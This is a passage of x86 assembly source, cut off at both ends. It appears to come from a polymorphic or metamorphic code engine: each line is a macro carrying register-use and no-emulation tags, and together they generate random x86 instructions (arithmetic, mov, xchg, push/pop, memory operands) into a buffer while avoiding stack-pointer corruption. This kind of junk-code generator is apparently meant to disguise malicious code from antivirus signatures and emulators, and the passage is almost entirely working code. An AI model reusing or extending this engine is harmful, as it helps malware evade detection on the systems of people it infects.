0x8A ... mov Reg8, Mem8: 0x8A (0x00-0xBF) OPMem8Reg8 ; 0x8A ... mov Reg8, Reg8: 0x8A (0xC0-0xFF) OPReg8Reg8 ; 0x8B ... mov Mem32, Reg32: 0x8B (0x00-0xBF) OPMem32Reg32 ; 0x8B ... mov Reg32, Reg32: 0x8B (0xC0-0xFF) OPReg32Reg32 ; NOT USED: 0x8C-0x8F: mov (Segment registers), lea [maybe in next versions] ; 0x90 - 0x99 ... XCHG eax, Reg32 | CWDE | CDQ SingleByteCommand ; NOT USED: 0x9A-0x9F: call, wait, pushfd, popfd, sahf, lahf ; ... ; 0xF8 ... clc 0xF8 SingleByteCommand ; 0xF9 ... stc 0xF9 SingleByteCommand ; Rest of 0xA0 - 0xFF ... [maybe in next versions] - however, the instruction set above should ; do its job quite good for the moment ; ---- cc rP, xor, ebp, ebp ; counter cc rCP, xor, ecx, ecx cc rP, mov, byte[CGPushPop], cl CreateMoreRandomCode: cc rBP, mov, ebx, 17 cc rBCP, xor, ecx, ecx cc rNoEmul, call, CreateSpecialRndNumber cc rAP, mov, al, dl ; AL=Main random number SingleByteCommand: cc rAPF, cmp, al, 0 cc rNoEmul, jne, SingleByteCommandEnd cc rBP, mov, ebx, 19 cc rBCP, xor, ecx, ecx cc rNoEmul, call, CreateSpecialRndNumber cc rDPF, cmp, dl, 9 cc rNoEmul, ja, SingleByteCommandSpecial cc rDPF, cmp, dl, 4 cc rNoEmul, jne, SingleByteCommandFinAdd cc rDP, xor, dl, dl ; 0x94=xchg eax, esp SingleByteCommandFinAdd: cc rDP, add, dl, 0x90 ; dl=0x90 ... 0x99 cc rNoEmul, jmp, SingleByteCommand2Mem SingleByteCommandSpecial: cc rDP, mov, dh, 0x27 ; DAA cc rDPF, cmp, dl, 10 cc rNoEmul, je, SingleByteCommand2MemBef cc rDP, mov, dh, 0x2F ; DAS cc rDPF, cmp, dl, 11 cc rNoEmul, je, SingleByteCommand2MemBef cc rDP, mov, dh, 0x37 ; AAA cc rDPF, cmp, dl, 12 cc rNoEmul, je, SingleByteCommand2MemBef cc rDP, mov, dh, 0x3F ; AAS cc rDPF, cmp, dl, 13 cc rNoEmul, je, SingleByteCommand2MemBef cc rDP, mov, dh, 0xF8 ; CLC cc rDPF, cmp, dl, 14 cc rNoEmul, je, SingleByteCommand2MemBef cc rDP, mov, dh, 0xF9 ; STC cc rDPF, cmp, dl, 15 cc rNoEmul, je, SingleByteCommand2MemBef cc rDP, mov, dh, 0x90 ; NOP SingleByteCommand2MemBef: cc rDP, mov, dl, dh SingleByteCommand2Mem: cc rP, mov, byte[RandomCode+ebp], dl cc rP, add, ebp, 0x1 cc rNoEmul, jmp, EndCRCCycle SingleByteCommandEnd: OPReg8Reg8: cc rAPF, cmp, al, 1 cc rNoEmul, jne, OPReg8Reg8End cc rPF, cmp, ebp, (RandomCodeBufferSize-2) cc rNoEmul, jg, EndCRCCycle cc rBP, mov, ebx, 21 cc rBCP, xor, ecx, ecx cc rNoEmul, call, CreateSpecialRndNumber cc rDP, mov, byte[RandomCode+ebp], 0x00 ; add Reg8, Reg8 cc rDPF, cmp, dl, 0 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x02 ; add Reg8, Reg8 cc rDPF, cmp, dl, 1 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x08 ; or Reg8, Reg8 cc rDPF, cmp, dl, 2 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x0A ; or Reg8, Reg8 cc rDPF, cmp, dl, 3 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x10 ; adc Reg8, Reg8 cc rDPF, cmp, dl, 4 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x12 ; adc Reg8, Reg8 cc rDPF, cmp, dl, 5 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x18 ; sbb Reg8, Reg8 cc rDPF, cmp, dl, 6 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x1A ; sbb Reg8, Reg8 cc rDPF, cmp, dl, 7 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x20 ; and Reg8, Reg8 cc rDPF, cmp, dl, 8 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x22 ; and Reg8, Reg8 cc rDPF, cmp, dl, 9 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x28 ; sub Reg8, Reg8 cc rDPF, cmp, dl, 10 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x2A ; sub Reg8, Reg8 cc rDPF, cmp, dl, 11 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x30 ; xor Reg8, Reg8 cc rDPF, cmp, dl, 12 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x32 ; xor Reg8, Reg8 cc rDPF, cmp, dl, 13 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x38 ; cmp Reg8, Reg8 cc rDPF, cmp, dl, 14 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x3A ; cmp Reg8, Reg8 cc rDPF, cmp, dl, 15 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x86 ; xchg Reg8, Reg8 cc rDPF, cmp, dl, 16 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x88 ; mov Reg8, Reg8 cc rDPF, cmp, dl, 17 cc rNoEmul, je, OPReg8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x8A ; mov Reg8, Reg8 cc rDPF, cmp, dl, 18 cc rNoEmul, je, OPReg8Reg8Cont cc rNoEmul, jmp, OPReg8Reg8End OPReg8Reg8Cont: cc rBP, mov, ebx, (0xFF-0xC0) cc rBCP, mov, ecx, 0xC0 cc rNoEmul, call, CreateSpecialRndNumber cc rDP, mov, byte[RandomCode+ebp+1], dl cc rP, add, ebp, 0x2 cc rNoEmul, jmp, EndCRCCycle OPReg8Reg8End: OPReg32Reg32: cc rAPF, cmp, al, 2 cc rNoEmul, jne, OPReg32Reg32End cc rPF, cmp, ebp, (RandomCodeBufferSize-2) cc rNoEmul, jg, EndCRCCycle cc rBP, mov, ebx, 21 cc rBCP, xor, ecx, ecx cc rNoEmul, call, CreateSpecialRndNumber cc rDP, mov, byte[RandomCode+ebp], 0x01 ; add Reg32, Reg32 cc rDPF, cmp, dl, 0 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x03 ; add Reg32, Reg32 cc rDPF, cmp, dl, 1 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x09 ; or Reg32, Reg32 cc rDPF, cmp, dl, 2 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x0B ; or Reg32, Reg32 cc rDPF, cmp, dl, 3 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x11 ; adc Reg32, Reg32 cc rDPF, cmp, dl, 4 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x13 ; adc Reg32, Reg32 cc rDPF, cmp, dl, 5 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x19 ; sbb Reg32, Reg32 cc rDPF, cmp, dl, 6 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x1B ; sbb Reg32, Reg32 cc rDPF, cmp, dl, 7 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x21 ; and Reg32, Reg32 cc rDPF, cmp, dl, 8 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x23 ; and Reg32, Reg32 cc rDPF, cmp, dl, 9 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x29 ; sub Reg32, Reg32 cc rDPF, cmp, dl, 10 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x2B ; sub Reg32, Reg32 cc rDPF, cmp, dl, 11 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x31 ; xor Reg32, Reg32 cc rDPF, cmp, dl, 12 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x33 ; xor Reg32, Reg32 cc rDPF, cmp, dl, 13 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x39 ; cmp Reg32, Reg32 cc rDPF, cmp, dl, 14 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x3B ; cmp Reg32, Reg32 cc rDPF, cmp, dl, 15 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x89 ; mov Reg32, Reg32 cc rDPF, cmp, dl, 16 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x8B ; mov Reg32, Reg32 cc rDPF, cmp, dl, 17 cc rNoEmul, je, OPReg32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x87 ; xchg Reg32, Reg32 cc rDPF, cmp, dl, 18 cc rNoEmul, je, OPReg32Reg32Cont cc rNoEmul, jmp, OPReg32Reg32End OPReg32Reg32Cont: cc rDP, push, edx ; Save dl cc rBP, mov, ebx, (0xFF-0xC0) cc rBCP, mov, ecx, 0xC0 cc rNoEmul, call, CreateSpecialRndNumber cc rP, mov, byte[RandomCode+ebp+1], dl cc rADP, pop, eax cc rDPF, and, al, 0001b cc rNoEmul, jz, OPReg32Reg32CheckESP0 cc rDP, mov, byte[RandomCode+ebp+1], dl cc rDP, and, dl, 111000b cc rDPF, cmp, dl, 100000b cc rNoEmul, je, EndCRCCycle ; OP esp, ... but source and destination reversed cc rP, add, ebp, 0x2 cc rNoEmul, jmp, EndCRCCycle OPReg32Reg32CheckESP0: cc rDP, mov, dh, byte[RandomCode+ebp] cc rDPF, cmp, dh, 0x87 cc rNoEmul, jne, OPReg32Reg32CheckESP1 cc rDPF, cmp, dl, 0xE0 cc rNoEmul, jb, OPReg32Reg32CheckESP1 cc rDPF, cmp, dl, 0xE8 cc rNoEmul, jb, EndCRCCycle OPReg32Reg32CheckESP1: cc rDP, and, dl, 111b cc rDPF, cmp, dl, 100b cc rNoEmul, je, EndCRCCycle ; OP esp, ... cc rP, add, ebp, 0x2 cc rNoEmul, jmp, EndCRCCycle OPReg32Reg32End: OPAlImm8: cc rAPF, cmp, al, 3 cc rNoEmul, jne, OPAlImm8End cc rPF, cmp, ebp, (RandomCodeBufferSize-2) cc rNoEmul, jg, EndCRCCycle cc rBP, mov, ebx, 9 cc rBCP, xor, ecx, ecx cc rNoEmul, call, CreateSpecialRndNumber cc rDP, mov, byte[RandomCode+ebp], 0x04 ; add al, Imm8 cc rDPF, cmp, dl, 0 cc rNoEmul, je, OPAlImm8Cont cc rDP, mov, byte[RandomCode+ebp], 0x0C ; or al, Imm8 cc rDPF, cmp, dl, 1 cc rNoEmul, je, OPAlImm8Cont cc rDP, mov, byte[RandomCode+ebp], 0x14 ; adc al, Imm8 cc rDPF, cmp, dl, 2 cc rNoEmul, je, OPAlImm8Cont cc rDP, mov, byte[RandomCode+ebp], 0x1C ; sbb al, Imm8 cc rDPF, cmp, dl, 3 cc rNoEmul, je, OPAlImm8Cont cc rDP, mov, byte[RandomCode+ebp], 0x24 ; and al, Imm8 cc rDPF, cmp, dl, 4 cc rNoEmul, je, OPAlImm8Cont cc rDP, mov, byte[RandomCode+ebp], 0x2C ; sub al, Imm8 cc rDPF, cmp, dl, 5 cc rNoEmul, je, OPAlImm8Cont cc rDP, mov, byte[RandomCode+ebp], 0x34 ; xor al, Imm8 cc rDPF, cmp, dl, 6 cc rNoEmul, je, OPAlImm8Cont cc rDP, mov, byte[RandomCode+ebp], 0x3C ; cmp al, Imm8 cc rDPF, cmp, dl, 7 cc rNoEmul, je, OPAlImm8Cont cc rNoEmul, jmp, OPAlImm8End OPAlImm8Cont: cc rNoEmul, call, GetRandomNumber cc rP, mov, byte[RandomCode+ebp+1], dl cc rP, add, ebp, 0x2 cc rNoEmul, jmp, EndCRCCycle OPAlImm8End: OPEaxImm32: cc rAPF, cmp, al, 4 cc rNoEmul, jne, OPEaxImm32End cc rPF, cmp, ebp, (RandomCodeBufferSize-5) cc rNoEmul, jg, EndCRCCycle cc rBP, mov, ebx, 9 cc rBCP, xor, ecx, ecx cc rNoEmul, call, CreateSpecialRndNumber cc rDP, mov, byte[RandomCode+ebp], 0x05 ; add eax, Imm32 cc rDPF, cmp, dl, 0 cc rNoEmul, je, OPEaxImm32Cont cc rDP, mov, byte[RandomCode+ebp], 0x0D ; or eax, Imm32 cc rDPF, cmp, dl, 1 cc rNoEmul, je, OPEaxImm32Cont cc rDP, mov, byte[RandomCode+ebp], 0x15 ; adc eax, Imm32 cc rDPF, cmp, dl, 2 cc rNoEmul, je, OPEaxImm32Cont cc rDP, mov, byte[RandomCode+ebp], 0x1D ; sbb eax, Imm32 cc rDPF, cmp, dl, 3 cc rNoEmul, je, OPEaxImm32Cont cc rDP, mov, byte[RandomCode+ebp], 0x25 ; and eax, Imm32 cc rDPF, cmp, dl, 4 cc rNoEmul, je, OPEaxImm32Cont cc rDP, mov, byte[RandomCode+ebp], 0x2D ; sub eax, Imm32 cc rDPF, cmp, dl, 5 cc rNoEmul, je, OPEaxImm32Cont cc rDP, mov, byte[RandomCode+ebp], 0x35 ; xor eax, Imm32 cc rDPF, cmp, dl, 6 cc rNoEmul, je, OPEaxImm32Cont cc rDP, mov, byte[RandomCode+ebp], 0x3D ; cmp eax, Imm32 cc rDPF, cmp, dl, 7 cc rNoEmul, je, OPEaxImm32Cont cc rNoEmul, jmp, OPEaxImm32End OPEaxImm32Cont: cc rNoEmul, call, GetRandomNumber cc rDP, mov, edx, dword[RandomNumber] cc rP, mov, dword[RandomCode+ebp+1], edx cc rP, add, ebp, 0x5 cc rNoEmul, jmp, EndCRCCycle OPEaxImm32End: VariousReg8Imm8: ; add | or | adc | sbb | and | sub | xor | cmp Reg8, Imm8 cc rAPF, cmp, al, 5 cc rNoEmul, jne, VariousReg8Imm8End cc rPF, cmp, ebp, (RandomCodeBufferSize-3) cc rNoEmul, jg, EndCRCCycle cc rBP, mov, ebx, 3 cc rBCP, xor, ecx, ecx cc rNoEmul, call, CreateSpecialRndNumber cc rDP, mov, byte[RandomCode+ebp], 0x80 cc rDPF, cmp, dl, 0 cc rNoEmul, je, VariousReg8Imm8Cont cc rDP, mov, byte[RandomCode+ebp], 0x82 cc rDPF, cmp, dl, 1 cc rNoEmul, je, VariousReg8Imm8Cont cc rNoEmul, jmp, EndCRCCycle VariousReg8Imm8Cont: cc rBP, mov, ebx, (0xFF-0xC0) cc rBCP, mov, ecx, 0xC0 cc rNoEmul, call, CreateSpecialRndNumber cc rP, mov, byte[RandomCode+ebp+1], dl cc rNoEmul, call, GetRandomNumber cc rDP, mov, dl, byte[RandomNumber] cc rP, mov, byte[RandomCode+ebp+2], dl cc rP, add, ebp, 0x3 cc rNoEmul, jmp, EndCRCCycle VariousReg8Imm8End: VariousReg32Imm32: ; add | or | adc | sbb | and | sub | xor | cmp Reg32, Imm32 cc rAPF, cmp, al, 6 cc rNoEmul, jne, VariousReg32ImmEnd cc rBP, mov, ebx, 3 cc rBCP, xor, ecx, ecx cc rNoEmul, call, CreateSpecialRndNumber cc rDPS, mov, esi, 6 cc rDPS, mov, byte[RandomCode+ebp], 0x81 cc rDPSF, cmp, dl, 0 cc rNoEmul, je, VariousReg32Imm32Cont cc rDPS, mov, esi, 3 cc rDPS, mov, byte[RandomCode+ebp], 0x83 cc rDPSF, cmp, dl, 1 cc rNoEmul, je, VariousReg32Imm32Cont cc rNoEmul, jmp, VariousReg32ImmEnd VariousReg32Imm32Cont: cc rBPS, mov, ebx, (0xFF-0xC0) cc rBCPS, mov, ecx, 0xC0 cc rNoEmul, call, CreateSpecialRndNumber cc rDPS, mov, byte[RandomCode+ebp+1], dl cc rDPS, mov, byte[RandomCode+ebp+1], dl cc rDPS, and, dl, 111b cc rDPSF, cmp, dl, 100b cc rNoEmul, je, EndCRCCycle ; OP esp, ... cc rNoEmul, call, GetRandomNumber cc rDPS, mov, edx, dword[RandomNumber] cc rPS, mov, dword[RandomCode+ebp+2], edx cc rCPS, mov, ecx, RandomCodeBufferSize cc rCPS, sub, ecx, esi cc rDPSF, cmp, ebp, ecx cc rNoEmul, jg, EndCRCCycle cc rP, add, ebp, esi cc rNoEmul, jmp, EndCRCCycle VariousReg32ImmEnd: OPMem8Reg8: ; OP Mem8, Reg8 | OP Reg8, Mem8 cc rAPF, cmp, al, 7 cc rNoEmul, jne, OPMem8Reg8End cc rBP, mov, ebx, 19 cc rBCP, xor, ecx, ecx cc rNoEmul, call, CreateSpecialRndNumber cc rDP, mov, byte[RandomCode+ebp], 0x00 ; add Mem8, Reg8 cc rDPF, cmp, dl, 0 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x02 ; add Reg8, Mem8 cc rBCPF, cmp, dl, 1 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x08 ; or Mem8, Reg8 cc rBCPF, cmp, dl, 2 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x0A ; or Reg8, Mem8 cc rBCPF, cmp, dl, 3 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x10 ; adc Mem8, Reg8 cc rBCPF, cmp, dl, 4 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x12 ; adc Reg8, Mem8 cc rBCPF, cmp, dl, 5 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x18 ; sbb Mem8, Reg8 cc rBCPF, cmp, dl, 6 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x1A ; sbb Reg8, Mem8 cc rBCPF, cmp, dl, 7 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x20 ; and Mem8, Reg8 cc rBCPF, cmp, dl, 8 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x22 ; and Reg8, Mem8 cc rBCPF, cmp, dl, 9 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x28 ; sub Mem8, Reg8 cc rBCPF, cmp, dl, 10 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x2A ; sub Reg8, Mem8 cc rBCPF, cmp, dl, 11 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x30 ; xor Mem8, Reg8 cc rBCPF, cmp, dl, 12 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x32 ; xor Reg8, Mem8 cc rBCPF, cmp, dl, 13 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x38 ; cmp, Mem8, Reg8 cc rBCPF, cmp, dl, 14 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x3A ; cmp, Reg8, Mem8 cc rBCPF, cmp, dl, 15 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x86 ; xchg Mem8, Reg8 cc rBCPF, cmp, dl, 16 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x88 ; mov Mem8, Reg8 cc rBCPF, cmp, dl, 17 cc rNoEmul, je, OPMem8Reg8Cont cc rDP, mov, byte[RandomCode+ebp], 0x8A ; mov Reg8, Mem8 cc rBCPF, cmp, dl, 18 cc rNoEmul, je, OPMem8Reg8Cont cc rNoEmul, jmp, EndCRCCycle OPMem8Reg8Cont: cc rBP, mov, ebx, 0xBF cc rBCP, mov, ecx, 0x0 cc rNoEmul, call, CreateSpecialRndNumber cc rP, mov, byte[RandomCode+ebp+1], dl cc rNoEmul, call, GetRandomNumber cc rDP, and, dl, 11000111b cc rDPF, cmp, dl, 00000100b cc rNoEmul, je, OPMem8Reg8_3byte cc rDPF, cmp, dl, 00000101b cc rNoEmul, je, OPMem8Reg8_6byte cc rDPF, cmp, dl, 0x40 cc rNoEmul, jb, OPMem8Reg8_2byte cc rDPF, cmp, dl, 01000100b cc rNoEmul, je, OPMem8Reg8_4byte cc rDPF, cmp, dl, 0x80 cc rNoEmul, jb, OPMem8Reg8_3byte cc rDPF, cmp, dl, 10000100b cc rNoEmul, je, OPMem8Reg8_7byte cc rNoEmul, jmp, OPMem8Reg8_6byte OPMem8Reg8_3byte: cc rPF, cmp, ebp, (RandomCodeBufferSize-3) cc rNoEmul, jg, EndCRCCycle cc rDP, mov, edx, dword[RandomNumber] cc rP, mov, byte[RandomCode+ebp+2], dl cc rP, add, ebp, 0x1 cc rNoEmul, jmp, EndOPMem8Reg8 OPMem8Reg8_4byte: cc rPF, cmp, ebp, (RandomCodeBufferSize-4) cc rNoEmul, jg, EndCRCCycle cc rDP, mov, edx, dword[RandomNumber] cc rP, mov, word[RandomCode+ebp+2], dx cc rP, add, ebp, 0x2 cc rNoEmul, jmp, EndOPMem8Reg8 OPMem8Reg8_6byte: cc rPF, cmp, ebp, (RandomCodeBufferSize-6) cc rNoEmul, jg, EndCRCCycle cc rDP, mov, edx, dword[RandomNumber] cc rP, mov, dword[RandomCode+ebp+2], edx cc rP, add, ebp, 0x4 cc rNoEmul, jmp, EndOPMem8Reg8 OPMem8Reg8_7byte: cc rPF, cmp, ebp, (RandomCodeBufferSize-7) cc rNoEmul, jg, EndCRCCycle cc rDP, mov, edx, dword[RandomNumber] cc rP, mov, dword[RandomCode+ebp+2], edx cc rNoEmul, call, GetRandomNumber cc rDP, mov, dl, byte[RandomNumber] cc rP, mov, byte[RandomCode+ebp+6], dl cc rP, add, ebp, 0x5 cc rNoEmul, jmp, EndOPMem8Reg8 OPMem8Reg8_2byte: EndOPMem8Reg8: cc rP, add, ebp, 0x2 cc rNoEmul, jmp, EndCRCCycle OPMem8Reg8End: OPMem32Reg32: ; OP Mem32, Reg32 | OP Reg32, Mem32 cc rAPF, cmp, al, 8 cc rNoEmul, jne, OPMem32Reg32End cc rBP, mov, ebx, 19 cc rBCP, xor, ecx, ecx cc rNoEmul, call, CreateSpecialRndNumber cc rDP, mov, byte[RandomCode+ebp], 0x01 ; add Mem32, Reg32 cc rDPF, cmp, dl, 0 cc rNoEmul, je, OPMem32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x03 ; add Reg32, Mem32 cc rDPF, cmp, dl, 1 cc rNoEmul, je, OPMem32Reg32ESPCheck cc rDP, mov, byte[RandomCode+ebp], 0x09 ; or Mem32, Reg32 cc rDPF, cmp, dl, 2 cc rNoEmul, je, OPMem32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x0B ; or Reg32, Mem32 cc rDPF, cmp, dl, 3 cc rNoEmul, je, OPMem32Reg32ESPCheck cc rDP, mov, byte[RandomCode+ebp], 0x11 ; adc Mem32, Reg32 cc rDPF, cmp, dl, 4 cc rNoEmul, je, OPMem32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x13 ; adc Reg32, Mem32 cc rDPF, cmp, dl, 5 cc rNoEmul, je, OPMem32Reg32ESPCheck cc rDP, mov, byte[RandomCode+ebp], 0x19 ; sbb Mem32, Reg32 cc rDPF, cmp, dl, 6 cc rNoEmul, je, OPMem32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x1B ; sbb Reg32, Mem32 cc rDPF, cmp, dl, 7 cc rNoEmul, je, OPMem32Reg32ESPCheck cc rDP, mov, byte[RandomCode+ebp], 0x21 ; and Mem32, Reg32 cc rDPF, cmp, dl, 8 cc rNoEmul, je, OPMem32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x23 ; and Reg32, Mem32 cc rDPF, cmp, dl, 9 cc rNoEmul, je, OPMem32Reg32ESPCheck cc rDP, mov, byte[RandomCode+ebp], 0x29 ; sub Mem32, Reg32 cc rDPF, cmp, dl, 10 cc rNoEmul, je, OPMem32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x2B ; sub Reg32, Mem32 cc rDPF, cmp, dl, 11 cc rNoEmul, je, OPMem32Reg32ESPCheck cc rDP, mov, byte[RandomCode+ebp], 0x31 ; xor Mem32, Reg32 cc rDPF, cmp, dl, 12 cc rNoEmul, je, OPMem32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x33 ; xor Reg32, Mem32 cc rDPF, cmp, dl, 13 cc rNoEmul, je, OPMem32Reg32ESPCheck cc rDP, mov, byte[RandomCode+ebp], 0x39 ; cmp, Mem32, Reg32 cc rDPF, cmp, dl, 14 cc rNoEmul, je, OPMem32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x3A ; cmp, Reg32, Mem32 cc rDPF, cmp, dl, 15 cc rNoEmul, je, OPMem32Reg32ESPCheck cc rDP, mov, byte[RandomCode+ebp], 0x87 ; xchg Mem32, Reg32 cc rDPF, cmp, dl, 16 cc rNoEmul, je, OPMem32Reg32ESPCheck cc rDP, mov, byte[RandomCode+ebp], 0x89 ; mov, Mem32, Reg32 cc rDPF, cmp, dl, 17 cc rNoEmul, je, OPMem32Reg32Cont cc rDP, mov, byte[RandomCode+ebp], 0x8B ; mov Reg32, Mem32 cc rDPF, cmp, dl, 18 cc rNoEmul, je, OPMem32Reg32ESPCheck cc rNoEmul, jmp, EndCRCCycle OPMem32Reg32ESPCheck: cc rBDP, mov, ebx, 0xBF cc rBCDP, mov, ecx, 0x0 cc rNoEmul, call, CreateSpecialRndNumber cc rDP, mov, byte[RandomCode+ebp+1], dl cc rDP, mov, dh, dl cc rDP, and, dh, 111000b cc rDPF, cmp, dh, 100000b cc rNoEmul, je, EndCRCCycle ; OP esp, ... but source and destination reversed cc rNoEmul, jmp, OPMem32Reg32ESPCheckOK OPMem32Reg32Cont: cc rBDP, mov, ebx, 0xBF cc rBCDP, mov, ecx, 0x0 cc rNoEmul, call, CreateSpecialRndNumber cc rDP, mov, byte[RandomCode+ebp+1], dl OPMem32Reg32ESPCheckOK: cc rNoEmul, call, GetRandomNumber cc rDP, and, dl, 11000111b cc rDPF, cmp, dl, 00000100b cc rNoEmul, je, OPMem32Reg32_3byte cc rDPF, cmp, dl, 00000101b cc rNoEmul, je, OPMem32Reg32_6byte cc rDPF, cmp, dl, 0x40 cc rNoEmul, jb, OPMem32Reg32_2byte cc rDPF, cmp, dl, 01000100b cc rNoEmul, je, OPMem32Reg32_4byte cc rDPF, cmp, dl, 0x80 cc rNoEmul, jb, OPMem32Reg32_3byte cc rDPF, cmp, dl, 10000100b cc rNoEmul, je, OPMem32Reg32_7byte cc rNoEmul, jmp, OPMem32Reg32_6byte OPMem32Reg32_3byte: cc rDPF, cmp, ebp, (RandomCodeBufferSize-3) cc rNoEmul, jg, EndCRCCycle cc rDP, mov, edx, dword[RandomNumber] cc rP, mov, byte[RandomCode+ebp+2], dl cc rP, add, ebp, 0x1 cc rNoEmul, jmp, EndOPMem32Reg32 OPMem32Reg32_4byte: cc rDPF, cmp, ebp, (RandomCodeBufferSize-4) cc rNoEmul, jg, EndCRCCycle cc rDP, mov, edx, dword[RandomNumber] cc rP, mov, word[RandomCode+ebp+2], dx cc rP, add, ebp, 0x2 cc rNoEmul, jmp, EndOPMem32Reg32 OPMem32Reg32_6byte: cc rDPF, cmp, ebp, (RandomCodeBufferSize-6) cc rNoEmul, jg, EndCRCCycle cc rDP, mov, edx, dword[RandomNumber] cc rP, mov, dword[RandomCode+ebp+2], edx cc rP, add, ebp, 0x4 cc rNoEmul, jmp, EndOPMem32Reg32 OPMem32Reg32_7byte: cc rDPF, cmp, ebp, (RandomCodeBufferSize-7) cc rNoEmul, jg, EndCRCCycle cc rDP, mov, edx, dword[RandomNumber] cc rP, mov, dword[RandomCode+ebp+2], edx cc rNoEmul, call, GetRandomNumber cc rDP, mov, dl, byte[RandomNumber] cc rP, mov, byte[RandomCode+ebp+6], dl cc rP, add, ebp, 0x5 cc rNoEmul, jmp, EndOPMem32Reg32 OPMem32Reg32_2byte: EndOPMem32Reg32: cc rP, add, ebp, 0x2 cc rNoEmul, jmp, EndCRCCycle OPMem32Reg32End: PushPopReg32: cc rAPF, cmp, al, 9 cc rNoEmul, jne, PushPopReg32End cc rBP, mov, ebx, 0x10 cc rBCP, xor, ecx, ecx cc rNoEmul, call, CreateSpecialRndNumber cc rBDF, cmp, dl, 0x0C ; 0x5C=pop esp cc rNoEmul, jne, PushPopReg32FinAdd PushPopReg32Xor: cc rDP, xor, dl, dl ; 0x50=push eax PushPopReg32FinAdd: cc rCDP, mov, cl, byte[CGPushPop] cc rCDPF, cmp, dl, 8 cc rNoEmul, jb, PushPop32GotPush cc rCDP, dec, cl cc rNoEmul, jmp, PushPop32GotPopAlreadys PushPop32GotPush: cc rCDPF, cmp, cl, 0 cc 